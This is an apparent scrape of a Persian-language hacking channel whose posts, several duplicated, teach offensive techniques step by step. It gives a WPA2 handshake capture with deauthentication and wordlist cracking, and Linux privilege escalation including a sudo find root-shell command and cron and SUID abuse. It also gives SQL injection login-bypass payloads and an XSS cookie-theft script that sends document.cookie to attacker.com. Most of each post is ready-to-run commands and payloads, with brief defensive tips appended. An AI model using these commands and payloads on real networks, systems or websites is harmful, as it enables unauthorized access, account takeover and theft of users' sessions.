اگه پسورد قوی باشه، این روش هیچوقت جواب نمیده.
پسورد ۱۲ کاراکتری رندوم، میلیونها سال طول میکشه.
#ℳℴ𝒷𝒾𝓃
همه فکر میکنن هک وایفای یعنی کرک کردن پسورد.
ولی داستان چیز دیگهایه.
وایفای با WPA2 رمزنگاری میشه.
پسورد رو نمیتونی مستقیم بخونی.
ولی میتونی Handshake رو بگیری.
Handshake چیه؟
وقتی یه دستگاه به وایفای وصل میشه، یه تبادل رمزنگاری شده انجام میشه.
این تبادل، شامل پسورد هش شدهست.
مراحل:
۱. بری تو حالت مانیتور
airmon-ng start wlan0
۲. شبکهها رو ببینی
airodump-ng wlan0mon
۳. هندشیک بگیری
airodump-ng -c 6 --bssid MAC -w capture wlan0mon
۴. با Deauth، دستگاه رو قطع کنی تا دوباره وصل شه
aireplay-ng -0 5 -a MAC wlan0mon
۵. حالا یه فایل capture داری که هندشیک توشه.
۶. با wordlist کرکش کنی
aircrack-ng -w rockyou.txt capture-01.cap
نکته:
اگه پسورد قوی باشه، این روش هیچوقت جواب نمیده.
پسورد ۱۲ کاراکتری رندوم، میلیونها سال طول میکشه.
#ℳℴ𝒷𝒾𝓃
❤5
بالا رفتن سطح دسترسی در لینوکس، مرحله به مرحله
فرض کن یه شل معمولی گرفتی. user عادی هستی.
حالا باید root بشی.
اولین چک:
sudo -l
این دستور میگه چه دستوراتی رو میتونی با sudo اجرا کنی.
بعضی وقتا یه دستور ساده مثل find یا vim اینجاست که میتونی ازش سوءاستفاده کنی.
مثال:
اگه sudo -l نشون داد:
(ALL) NOPASSWD: /usr/bin/find
میتونی این رو بزنی:
sudo find . -exec /bin/sh \; -quit
حالا root هستی.
چک دوم: فایلهای SUID
find / -perm -4000 -type f 2>/dev/null
این فایلها با دسترسی root اجرا میشن.
بعضیاشون آسیبپذیرن.
چک سوم: کرونجابها
cat /etc/crontab
ls -la /etc/cron.*
اگه یه اسکریپت با دسترسی root اجرا میشه و تو میتونی نوشتش کنی،
فقط یه خط بهش اضافه کن که یه شل بهت بده.
چک چهارم: فایلهای قابل نوشتن
find / -writable -type f 2>/dev/null | grep -v proc
اگه تونستی یه فایل مهم رو ویرایش کنی، راه برای root شدن بازه.
#ℳℴ𝒷𝒾𝓃
فرض کن یه شل معمولی گرفتی. user عادی هستی.
حالا باید root بشی.
اولین چک:
sudo -l
این دستور میگه چه دستوراتی رو میتونی با sudo اجرا کنی.
بعضی وقتا یه دستور ساده مثل find یا vim اینجاست که میتونی ازش سوءاستفاده کنی.
مثال:
اگه sudo -l نشون داد:
(ALL) NOPASSWD: /usr/bin/find
میتونی این رو بزنی:
sudo find . -exec /bin/sh \; -quit
حالا root هستی.
چک دوم: فایلهای SUID
find / -perm -4000 -type f 2>/dev/null
این فایلها با دسترسی root اجرا میشن.
بعضیاشون آسیبپذیرن.
چک سوم: کرونجابها
cat /etc/crontab
ls -la /etc/cron.*
اگه یه اسکریپت با دسترسی root اجرا میشه و تو میتونی نوشتش کنی،
فقط یه خط بهش اضافه کن که یه شل بهت بده.
چک چهارم: فایلهای قابل نوشتن
find / -writable -type f 2>/dev/null | grep -v proc
اگه تونستی یه فایل مهم رو ویرایش کنی، راه برای root شدن بازه.
#ℳℴ𝒷𝒾𝓃
❤4
حمله به فرم لاگین، چرا پسورد مهم نیست
اکثر هکرهای مبتدی فکر میکنن باید پسورد رو کرک کنن.
ولی حرفهایها سراغ خود فرم نمیرن.
مثال:
یه فرم لاگین ساده:
username: admin
password: any
چک کن اگه فقط یوزرنیم رو بذاری چی میشه.
بعضی فرمها فقط یوزرنیم چک میکنن.
یا:
username: admin'--
password: any
اگه دیتابیس MySQL باشه، این کوئری اجرا میشه:
SELECT * FROM users WHERE username='admin'--' AND password='any'
تو کامنت --، بقیه کوئری نادیده گرفته میشه.
پسورد اصلاً چک نمیشه.
یا:
username: admin
password: ' OR '1'='1
کوئری میشه:
SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'
چون 1=1 همیشه درسته، همه رکوردها برمیگردن.
وارد میشی.
یا:
username: admin
password: ' OR 1=1 LIMIT 1--
حالا فقط اولین کاربر برمیگرده.
نکته:
همه اینا به شرطیه که سایت از Prepared Statement استفاده نکنه.
اگه استفاده کنه، هیچکدوم کار نمیکنه.
#ℳℴ𝒷𝒾𝓃
اکثر هکرهای مبتدی فکر میکنن باید پسورد رو کرک کنن.
ولی حرفهایها سراغ خود فرم نمیرن.
مثال:
یه فرم لاگین ساده:
username: admin
password: any
چک کن اگه فقط یوزرنیم رو بذاری چی میشه.
بعضی فرمها فقط یوزرنیم چک میکنن.
یا:
username: admin'--
password: any
اگه دیتابیس MySQL باشه، این کوئری اجرا میشه:
SELECT * FROM users WHERE username='admin'--' AND password='any'
تو کامنت --، بقیه کوئری نادیده گرفته میشه.
پسورد اصلاً چک نمیشه.
یا:
username: admin
password: ' OR '1'='1
کوئری میشه:
SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'
چون 1=1 همیشه درسته، همه رکوردها برمیگردن.
وارد میشی.
یا:
username: admin
password: ' OR 1=1 LIMIT 1--
حالا فقط اولین کاربر برمیگرده.
نکته:
همه اینا به شرطیه که سایت از Prepared Statement استفاده نکنه.
اگه استفاده کنه، هیچکدوم کار نمیکنه.
#ℳℴ𝒷𝒾𝓃
❤5
XSS چیه و چرا خطرناکه
XSS یعنی تزریق جاوااسکریپت به صفحهای که کاربر دیگه میبینه.
سه نوع داره:
۱. Reflected XSS
کد تو URL هست و تو همون لحظه اجرا میشه.
مثال:
example.com/search?q=<script>alert(1)</script>
۲. Stored XSS
کد تو دیتابیس ذخیره میشه و هر کسی صفحه رو باز کنه، اجرا میشه.
مثال: کامنت تو یه وبلاگ.
هر بازدیدکننده، کد رو اجرا میکنه.
۳. DOM-based XSS
کد تو جاوااسکریپت خود سایت پردازش میشه.
بدون درخواست به سرور.
چرا خطرناکه؟
چون با یه XSS میتونی:
کوکی کاربر رو بدزدی
سشنش رو بربایی
فرم لاگین جعلی نشون بدی
کل صفحه رو تغییر بدی
کیلاگر نصب کنی
مثال سرقت کوکی:
<script>new Image().src='//attacker.com?c='+document.cookie</script>
این یه درخواست به سرور هکر میفرسته با کوکی قربانی.
دفاع:
همیشه ورودی کاربر رو Encode کن.
از Content-Security-Policy استفاده کن.
کوکیها رو HttpOnly کن.
#ℳℴ𝒷𝒾𝓃
XSS یعنی تزریق جاوااسکریپت به صفحهای که کاربر دیگه میبینه.
سه نوع داره:
۱. Reflected XSS
کد تو URL هست و تو همون لحظه اجرا میشه.
مثال:
example.com/search?q=<script>alert(1)</script>
۲. Stored XSS
کد تو دیتابیس ذخیره میشه و هر کسی صفحه رو باز کنه، اجرا میشه.
مثال: کامنت تو یه وبلاگ.
هر بازدیدکننده، کد رو اجرا میکنه.
۳. DOM-based XSS
کد تو جاوااسکریپت خود سایت پردازش میشه.
بدون درخواست به سرور.
چرا خطرناکه؟
چون با یه XSS میتونی:
کوکی کاربر رو بدزدی
سشنش رو بربایی
فرم لاگین جعلی نشون بدی
کل صفحه رو تغییر بدی
کیلاگر نصب کنی
مثال سرقت کوکی:
<script>new Image().src='//attacker.com?c='+document.cookie</script>
این یه درخواست به سرور هکر میفرسته با کوکی قربانی.
دفاع:
همیشه ورودی کاربر رو Encode کن.
از Content-Security-Policy استفاده کن.
کوکیها رو HttpOnly کن.
#ℳℴ𝒷𝒾𝓃
❤4